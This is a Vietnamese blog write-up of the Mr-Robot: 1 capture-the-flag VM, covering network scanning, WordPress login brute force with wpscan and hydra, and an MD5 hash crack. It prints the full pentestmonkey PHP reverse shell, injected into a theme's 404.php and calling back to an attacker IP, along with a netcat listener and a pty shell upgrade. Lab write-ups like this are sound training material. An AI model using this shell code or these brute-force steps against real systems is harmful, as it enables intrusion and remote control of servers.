Table of contents
No headings in the article.
About Release
Name: Mr-Robot: 1
Date release: 28 Jun 2016
Author: Leon Johnson
Series: Mr-Robot
Description
Based on the show, Mr. Robot.
This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.
The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
Link Download
Xin chào các bạn, đã rất lâu rồi mình không ra bài mới và hiện tại để kỷ niệm ngày thất nghiệp thì mình đã quay trở lại, và hôm nay là một bài lab dựa trên một TV Series nổi tiếng về giới yang hồ internet đó là Mr.Robots, okay ta sẽ cùng bắt đầu thôi :)) Gét gô
Sau khi set up máy ảo Kali, máy ảo Mr.Robot xong thì ta sẽ chạy cùng lúc 2 máy ảo này lên (và nhớ phải để 2 máy ảo này chạy trong cùng 1 mạng) và bắt đầu thu thập thông tin thôi.
Đầu tiên thì ta cần biết IP của target đã, và 2 máy này do nằm chung mạng thì ta cứ sử dụng nmap để scan mạng xem sao
nmap 10.0.0.0/24
- Để scan dải mạng
Scan xong thì thấy có cái địa chỉ IP: 10.0.0.129
đây chính là IP target của chúng ta, và nó có mở port 80 và 443 cho dịch vụ http và https -> ta có thể sử dụng trình duyệt để truy cập
Scan kỹ hơn bằng nmap
xem sao ha
Kết quả
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-server-header: Apache
MAC Address: 00:0C:29:CB:21:3C (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.57 ms 10.0.0.129
Có các port 80,443 như ở trên, cả port ssh cơ mà nó bị đóng r, và có lẽ ta sẽ không cần sử dụng tới dịch vụ này
Mở trình duyệt và truy cập vào IP này ta thấy 1 trang web khá ngầu, và nó cho phép ta sử dụng 1 số command nhất định
Ờm, tưởng có gì hay nhưng mà thử đi thử lại vẫn không có gì khả quan lắm ở 6 cái command này, hoặc có thể do mình gà
View Source thì cũng chả thấy gì hay ho lắm, ngoại trừ việc biết rằng website này làm từ wordpress
Sử dụng dirsearch
để bruteforce url xem có bị lộ file gì nhạy cảm không thì có thấy file robots.txt
,wplogin
có vẻ hay ho ở đây
Ờm, sau khi biết về sự tồn tại của rotbots.txt
rồi thì chắc chắn phải thử rồi, vào đó ta sẽ có được flag đầu tiên (flag 1/3) và 1 file fsocity.dic
(file này khả năng là thư viện để bruteforce). Down file key về để lấy flag đầu tiên các bạn nhé :33
Tiếp đó thì ta sẽ target tới trang đăng nhập, đoạn này thì chắc kèo bruteforce rồi vì tự dưng được cho cái fsocity.dic
kia để làm gì :))
Sử dụng wpscan để bruteforce thôi :)))
wpscan --url http://10.0.0.129/wp-login.php -U /home/kali/Downloads/fsocity.dic -P /home/kali/Downloads/fsocity.dic -t 50
Cơ mà sau khi nhìn cái tool chạy số tổ hợp tận 12 con số :)) thì mình nghĩ là làm này nohope :> phải tìm cách khác thôi, sau đấy thì mình lên google tìm thấy 1 bài writeup, ông này dùng hydra để check đc user name đúng đó là Elliot
okay, vậy thì ta sẽ bruteforce lại với username:elliot
và oke, số lần test đã giảm đi rất nhiều, giờ thì chờ thôi :))
Sau khoảng 2000 năm thì cuối cùng cũng ra được cái passelliot:ER28-0652
Oke, vậy là ta đã vào đc admin panel, đến đoạn này mình lại stuck tiếp, và mình đã quyết định nghỉ giải lao, rồi chút vào làm tiếp.
Và sau khi nghỉ ngơi, mình vào check tiếp về cơ bản giờ đang nghĩ tới hướng reverse shell bởi vì ta có thể toàn quyển edit code php mà :)) oke vào Appearance
và chọn vào Editor
sau đấy bạn có thể inject code php reverse shell bất kỳ nào mà bạn muốn vào và tìm cách execute nó, mình thấy file 404.php
hợp lý nhất vì nó nhanh nhất :))
oke giờ sử dụng netcat ở máy linux
nc -lnvp 9999
còn đây là shell.php
, mình lấy từ trên mạng
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.0.128'; // You have changed this
$port = 9999; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
Và ta đã có thể RCE được rồi
Và sau đó ta sẽ đi lục lọi trong các thư mục xem có gì không và tìm thấy file key2
ở home/robot
cơ mà ta không thể xem được, vì chỉ owner mới đc xem thôi, nhưng file password.raw-md5
đã cho ta username:md5(password)
-> ta decode mã hash xem để có thể lấy đc password user robot
À mà bạn có thể upgrade terminal bằng cách sử dụng python với câu lệnh sau
python -c 'import pty; pty.spawn("/bin/bash")'
Decode xong ta được username, password là robot:abcdefghijklmnopqrstuvwxyz
Đăng nhập và đọc key 2 nào
Còn key3 thì mình xin chịu :))